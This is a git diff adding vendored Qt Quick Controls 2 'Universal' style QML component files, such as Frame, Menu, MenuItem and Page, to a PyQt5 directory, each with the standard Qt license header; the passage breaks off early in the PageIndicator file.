a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Frame.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Frame.qml new file mode 100644 index 00000000..8bb44849 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Frame.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Frame { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: "transparent" + border.color: control.Universal.chromeDisabledLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/GroupBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/GroupBox.qml new file mode 100644 index 00000000..dc156dd7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/GroupBox.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.GroupBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitLabelWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 12 + padding: 12 + topPadding: padding + (implicitLabelWidth > 0 ? implicitLabelHeight + spacing : 0) + + label: Text { + x: control.leftPadding + width: control.availableWidth + + text: control.title + font: control.font + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + } + + background: Rectangle { + y: control.topPadding - control.bottomPadding + width: parent.width + height: parent.height - control.topPadding + control.bottomPadding + + color: "transparent" + border.color: control.Universal.chromeDisabledLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/HorizontalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/HorizontalHeaderView.qml new file mode 100644 index 00000000..47daa8ce --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/HorizontalHeaderView.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Controls.impl 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls.Universal 2.15 +import QtQuick.Controls.Universal.impl 2.15 + +T.HorizontalHeaderView { + id: control + + implicitWidth: syncView ? syncView.width : 0 + implicitHeight: contentHeight + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: text.implicitWidth + (cellPadding * 2) + implicitHeight: Math.max(control.height, text.implicitHeight + (cellPadding * 2)) + color: control.Universal.background + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ItemDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ItemDelegate.qml new file mode 100644 index 00000000..ed985405 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ItemDelegate.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.ItemDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + visible: control.down || control.highlighted || control.visualFocus || control.hovered + color: control.down ? control.Universal.listMediumColor : + control.hovered ? control.Universal.listLowColor : control.Universal.altMediumLowColor + Rectangle { + width: parent.width + height: parent.height + visible: control.visualFocus || control.highlighted + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Label.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Label.qml new file mode 100644 index 00000000..c66435c3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Label.qml @@ -0,0 +1,47 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Label { + id: control + + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + linkColor: Universal.accent +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Menu.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Menu.qml new file mode 100644 index 00000000..4814d006 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Menu.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Window 2.12 + +T.Menu { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 0 + overlap: 1 + + delegate: MenuItem { } + + contentItem: ListView { + implicitHeight: contentHeight + model: control.contentModel + interactive: Window.window + ? contentHeight + control.topPadding + control.bottomPadding > Window.window.height + : false + clip: true + currentIndex: control.currentIndex + + ScrollIndicator.vertical: ScrollIndicator {} + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 40 + color: control.Universal.chromeMediumLowColor + border.color: control.Universal.chromeHighColor + border.width: 1 // FlyoutBorderThemeThickness + } + + T.Overlay.modal: Rectangle { + color: control.Universal.baseLowColor + } + + T.Overlay.modeless: Rectangle { + color: control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuBar.qml new file mode 100644 index 00000000..2317f505 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuBar.qml @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.MenuBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + delegate: MenuBarItem { } + + contentItem: Row { + spacing: control.spacing + Repeater { + model: control.contentModel + } + } + + background: Rectangle { + implicitHeight: 40 + color: control.Universal.chromeMediumColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuBarItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuBarItem.qml new file mode 100644 index 00000000..30f1fc57 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuBarItem.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.MenuBarItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + spacing: 12 + + icon.width: 20 + icon.height: 20 + icon.color: !enabled ? Universal.baseLowColor : Universal.baseHighColor + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: !control.enabled ? control.Universal.baseLowColor : control.Universal.baseHighColor + } + + background: Rectangle { + implicitWidth: 40 + implicitHeight: 40 + + color: !control.enabled ? control.Universal.baseLowColor : + control.down ? control.Universal.listMediumColor : + control.highlighted ? control.Universal.listLowColor : "transparent" + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + + visible: control.visualFocus + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuItem.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuItem.qml new file mode 100644 index 00000000..23d0ee3c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuItem.qml @@ -0,0 +1,115 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.MenuItem { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + spacing: 12 + + icon.width: 20 + icon.height: 20 + icon.color: !enabled ? Universal.baseLowColor : Universal.baseHighColor + + contentItem: IconLabel { + readonly property real arrowPadding: control.subMenu && control.arrow ? control.arrow.width + control.spacing : 0 + readonly property real indicatorPadding: control.checkable && control.indicator ? control.indicator.width + control.spacing : 0 + leftPadding: !control.mirrored ? indicatorPadding : arrowPadding + rightPadding: control.mirrored ? indicatorPadding : arrowPadding + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: !control.enabled ? control.Universal.baseLowColor : control.Universal.baseHighColor + } + + arrow: ColorImage { + x: control.mirrored ? control.leftPadding : control.width - width - control.rightPadding + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.subMenu + mirror: control.mirrored + color: !enabled ? control.Universal.baseLowColor : control.Universal.baseHighColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Universal/images/rightarrow.png" + } + + indicator: ColorImage { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + + visible: control.checked + color: !control.enabled ? control.Universal.baseLowColor : control.down ? control.Universal.baseHighColor : control.Universal.baseMediumHighColor + source: !control.checkable ? "" : "qrc:/qt-project.org/imports/QtQuick/Controls.2/Universal/images/checkmark.png" + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 40 + + color: !control.enabled ? control.Universal.baseLowColor : + control.down ? control.Universal.listMediumColor : + control.highlighted ? control.Universal.listLowColor : control.Universal.altMediumLowColor + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + + visible: control.visualFocus + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuSeparator.qml new file mode 100644 index 00000000..72f9f6f7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/MenuSeparator.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.MenuSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 12 + topPadding: 9 + bottomPadding: 10 + + contentItem: Rectangle { + implicitWidth: 188 + implicitHeight: 1 + color: control.Universal.baseMediumLowColor + } + + background: Rectangle { + color: control.Universal.altMediumLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Page.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Page.qml new file mode 100644 index 00000000..347d6d9a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Page.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Page { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + background: Rectangle { + color: control.Universal.background + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/PageIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/PageIndicator.qml new file mode 100644 index 00000000..3dcc84ab --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/PageIndicator.qml @@ -0,0 +1,69 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import 